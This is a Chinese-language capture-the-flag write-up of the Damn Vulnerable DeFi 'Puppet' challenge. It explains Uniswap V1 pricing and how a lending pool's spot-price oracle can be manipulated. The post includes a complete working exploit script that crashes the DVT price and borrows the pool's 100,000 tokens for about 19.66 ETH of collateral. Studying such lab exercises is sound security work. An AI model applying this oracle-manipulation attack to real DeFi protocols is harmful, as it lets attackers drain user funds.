moon

moon

Build for builders on blockchain
github
twitter

Defi黑客系列:Damn Vulnerable DeFi (八) - Puppet

該死的易受攻擊的 DeFi 是一個 Defi 智能合約攻擊挑戰系列。內容包括了閃電貸攻擊、借貸池、鏈上預言機等。在開始之前你需要具備 Solidity 以及 JavaScipt 相關的技能。針對每一題你需要做的就是保證該題的單元測試能夠通過。

題目鏈接:https://www.damnvulnerabledefi.xyz/challenges/8.html

題目描述:

有一個借貸池提供 DVT 代幣的借貸服務,但需要先存入兩倍價值的 ETH 作為抵押物。現在這個池子裡有 100000 個 DVT。

UniswapV1 現在有交易對 ETH-DVT,且有 10 ETH 和 10 DVT。

現在你有 25 個 ETH 和 1000 DVT。你需要竊取借貸池中的所有代幣。

借貸合約 PuppetPool.sol 提供的借貸的功能如下

// 借出 DVT,但前提是存入兩倍價值的等額 ETH
function borrow(uint256 borrowAmount) public payable nonReentrant {
    // 計算需要存入的 ETH 數量
    uint256 depositRequired = calculateDepositRequired(borrowAmount);
    require(msg.value >= depositRequired, "Not depositing enough collateral");

    // 返還多存的 ETH
    if (msg.value > depositRequired) {
        payable(msg.sender).sendValue(msg.value - depositRequired);
    }

    // 保存 msg.sender 存入的 ETH 數量
    deposits[msg.sender] = deposits[msg.sender] + depositRequired;

    // 將 DVT token 傳給 msg.sender
    require(token.transfer(msg.sender, borrowAmount), "Transfer failed");

    emit Borrowed(msg.sender, depositRequired, borrowAmount);
}

該方法主要做了以下幾件事:

  • 根據借出的 DVT 數量,計算需要存入 ETH 的數量 depositRequired
  • 確保調用時存入的 ETH 數量是大於 depositRequired,如果存入的多了,會返還差值。
  • 保存存入的 ETH 數量,並借出 DVT

計算需要存入 ETH 的數量是根據 uniswapv1 中配對合約 ETH-DVT 的流動性來計算。這裡先簡單介紹下 uniswapv1 中的合約及其方法。

共有兩種合約:

  • Factory 工廠合約,用來創建並部署配對合約。核心方法是 createExchange(token: address): address 用來創建 ETHtoken 的配對合約並部署,返回配對合約地址。

  • Exchange 交易合約,也叫配對合約。在 v1 版本中只有 ETHToken 的交易對,不存在 TokenToken 的交易對。

當通過工廠合約創建了配對合約後,便能調用方法 addLiquidity 向其中添加流動性,也就是將 TokenETH 存入到配對合約中,同時流動性提供者會獲得 LP token 作為提供流動性的憑證。

@payable
addLiquidity(
    min_liquidity: uint256,
    max_tokens: uint256,
    deadline: uint256
): uint256

調用該方法時,除了參數外還需要發送 ETH,參數詳解如下:

  • min_liquidity 流動性提供者期望獲得的最少的 LP token 數量,如果最後獲得的小於該值,則交易會回滾
  • max_tokens 流動性提供者想要提供的最大代幣數量,如果計算得出的代幣數量大於該值,而又不想提供時,則交易回滾
  • deadline 提供流動性的截止時間

當配對合約中有了流動性,其他交易者便能進行交易。不同於中心化交易所,交易價格由訂單簿的最新成交價確定。uniswap 中的交易價格是根據恆定乘積公式計算的

恆定乘積公式:k=x×y恆定乘積公式:k = x \times y

其中 xxyy 是配對的兩個幣種的儲備量。

假設有配對合約 ETH-USDT,其中 ETH 有 10 個作為 xxUSDT 有 100 個作為 yy。則 k=10×100=1000k = 10 \times 100 = 1000

此時要出售 Δx\Delta xETH, 得到 USDT 的數量為 Δy\Delta y。也就相當於池子中 ETH 的數量變為 x+Δxx + \Delta x,根據恆定乘積公式:

x×y=(x+Δx)(yΔy)yΔy=x×yx+ΔxΔy=yx×yx+ΔxΔy=y×(x+Δx)x+Δxx×yx+ΔxΔy=x×y+y×Δxx×yx+ΔxΔy=y×Δxx+Δx\begin{align*} & x \times y = (x + \Delta x)(y - \Delta y) \\ & y - \Delta y = \frac {x \times y}{x + \Delta x} \\ & \Delta y = y - \frac {x \times y}{x + \Delta x} \\ & \Delta y = \frac {y \times (x + \Delta x)}{x + \Delta x} - \frac {x \times y}{x + \Delta x} \\ & \Delta y = \frac {x \times y + y \times \Delta x - x \times y}{x + \Delta x} \\ & \Delta y = \frac {y \times \Delta x}{x + \Delta x} \end{align*}

同理出售 Δy\Delta yUSDT ,得到 ETH 數量為 Δx=x×ΔyyΔy\Delta x = \frac {x \times \Delta y}{y - \Delta y}

這是在沒有手續費的情況下的計算公式,但通常情況中會收取 0.3% 的手續費,並根據流動性提供者所持有 LP token 的比例分配。

在存在手續費的情況下,要出售 Δx\Delta xETH,相當於實際出售的 ETH 數量是 Δx×(10.3%)=Δx×0.997\Delta x \times (1 - 0.3\%) = \Delta x \times 0.997uniswap 為了計算方便,將分子分母同時乘以 1000。

Δy=y×Δxx+ΔxΔy=y×(Δx×0.997)x+(Δx×0.997)Δy=y×(Δx×0.9977)×1000x×1000+(Δx×0.997)×1000Δy=y×Δx×997x×1000+Δx×997\begin{align*} & \Delta y = \frac {y \times \Delta x}{x + \Delta x} \\ & \Delta y = \frac {y \times (\Delta x \times 0.997)}{x + (\Delta x \times 0.997)} \\ & \Delta y = \frac {y \times (\Delta x \times 0.9977) \times 1000}{x \times 1000 + (\Delta x \times 0.997) \times 1000} \\ & \Delta y = \frac {y \times \Delta x \times 997}{x \times 1000 + \Delta x \times 997} \end{align*}

uniswap 的 v1 版本中提供了幾個方法用於查詢價格

  • getEthToTokenInputPrice(eth_sold: uint256): uint256 輸入賣出的 ETH 數量,返回得到的 token 數量
  • getTokenToEthOutputPrice(eth_bought: uint256): uint256 輸入要買的 ETH 數量,返回需要給出的 token 數量
  • getEthToTokenOutputPrice(tokens_bought: uint256): uint256 輸入要買的 token 數量,返回需要給出的 ETH 數量
  • getTokenToEthInputPrice(tokens_sold: uint256): uint256 輸入要賣的 token 數量,返回得到的 ETH 數量

兌換相關方法如下:

  • ethToTokenSwapInput(min_tokens: uint256, deadline: uint256): uint256ETH 兌換 tokenmin_tokens 是期望得到的最少的 token 數量。如果調用該方法時發送的 ETH 數量不足以兌換期望的 token 數量,則交易失敗。如果足夠,則全額兌換並執行交易。函數返回值為可兌換的 token 數量。
  • ethToTokenSwapOutput(tokens_bought: uint256, deadline: uint256): uint256ETH 兌換 token:調用該方法時發送 ETH 用以兌換 tokens_bought 數量的 token , 如果發送的 ETH 數量過多,則會返還多餘的數量,函數返回值為實際出售的 ETH 數量
  • tokenToEthSwapInput(tokens_sold: uint256, min_eth: uint256, deadline: uint256): uint256token 兌換 ETH
  • tokenToEthSwapOutput(eth_bought: uint256, max_tokens: uint256, deadline: uint256): uint256token 兌換 ETH

再回到題目中,借貸合約 PuppetPool.sol 中計算需要存入的 ETH 數量的方法 calculateDepositRequired

// 計算需要存入的 eth 數量
function calculateDepositRequired(uint256 amount) public view returns (uint256) {
    // 抵押物的價值 = 借出的數量 * 價格 * 2
    return amount * _computeOraclePrice() * 2 / 10 ** 18;
}

// 計算每個 token 的價值等同於多少 ETH
function _computeOraclePrice() private view returns (uint256) {
    // calculates the price of the token in wei according to Uniswap pair
    return uniswapPair.balance * (10 ** 18) / token.balanceOf(uniswapPair);
}

從代碼中可以看出,token 的價值來自於 uniswap 配對的兩個幣種的儲備量。

假設有配對合約 ETH-UNI,其中有 100 個 ETH 和 10 個 UNI ,則 1 UNI 的價值等同於 10 ETH,即每個 token 價值等於 ETH儲備量Token儲備量\frac {ETH儲備量}{Token儲備量},如果能夠增加分母的值或減小分子的值,則會降低每個 token 的價值。

已知條件中黑客持有 25 個 ETH 和 1000 DVT,因此可以用黑客持有的 1000 DVT 去兌換 ETH,此舉會大大增加分母的值並減小分子的值。也就意味著 DVT 的價值會變得很低。

之後再去進行借貸,需要抵押的 ETH 將只需要很少的數量。最後再從 uniswap 中重新兌換回 DVT

it('Exploit', async function () {
  const attackerCallLendingPool = this.lendingPool.connect(attacker)
  const attackerCallToken = this.token.connect(attacker)
  const attackerCallUniswap = this.uniswapExchange.connect(attacker)

  // 授權 uniswap 支配 attacker 的 DVT token
  await attackerCallToken.approve(attackerCallUniswap.address, ATTACKER_INITIAL_TOKEN_BALANCE)
  
  // 初始餘額
  // attacker: ETH balance => 25
  // attacker: DVT balance => 1000
  // uniswap: ETH balance => 10
  // uniswap: DVT balance => 10
  
  // 在 uniswap 中使用 DVT 兌換 ETH
  await attackerCallUniswap.tokenToEthSwapInput(
    ATTACKER_INITIAL_TOKEN_BALANCE,
    ethers.utils.parseEther('1'),
    (await ethers.provider.getBlock('latest')).timestamp * 2
  )
  // attacker: ETH balance => 34.900571637914797588
  // attacker: DVT balance => 0
  // uniswap: ETH balance => 0.099304865938430984
  // uniswap: DVT balance => 1010

  // 計算需要抵押的 ETH 數量
  const collateralCount = await attackerCallLendingPool.calculateDepositRequired(POOL_INITIAL_TOKEN_BALANCE)
  // 借出 DVT
  await attackerCallLendingPool.borrow(POOL_INITIAL_TOKEN_BALANCE, {
    value: collateralCount
  })
  // collateralCount = 19.6643298887982
  // attacker: ETH balance => 15.236140794921379778
  // attacker: DVT balance => 100000.0
  // uniswap: ETH balance => 0.099304865938430984
  // uniswap: DVT balance => 1010.0

  // 計算從 uniswap 兌換 ATTACKER_INITIAL_TOKEN_BALANCE 數量的 DVT 需要多少 ETH
  const payEthCount = await attackerCallUniswap.getEthToTokenOutputPrice(ATTACKER_INITIAL_TOKEN_BALANCE, {
    gasLimit: 1e6
  })
  // payEthCount = 9.960367696933900101
  
  // 兌換 DVT
  await attackerCallUniswap.ethToTokenSwapOutput(
    ATTACKER_INITIAL_TOKEN_BALANCE,
    (await ethers.provider.getBlock('latest')).timestamp * 2,
    {
      value: payEthCount,
      gasLimit: 1e6
    }
  )
  // attacker: ETH balance => 5.275716174066780228
  // attacker: DVT balance => 101000.0
  // uniswap: ETH balance => 10.059672562872331085
  // uniswap: DVT balance => 10.0
})

攻擊者利用 uniswap 操縱價格,用 19.6643298887982 ETH 作為抵押物成功借出了 100000 DVT。而如果直接借的話,則需要付出的成本為 200000 ETH

最後執行 yarn puppet 測試通過!

完整代碼

載入中......
此文章數據所有權由區塊鏈加密技術和智能合約保障僅歸創作者所有。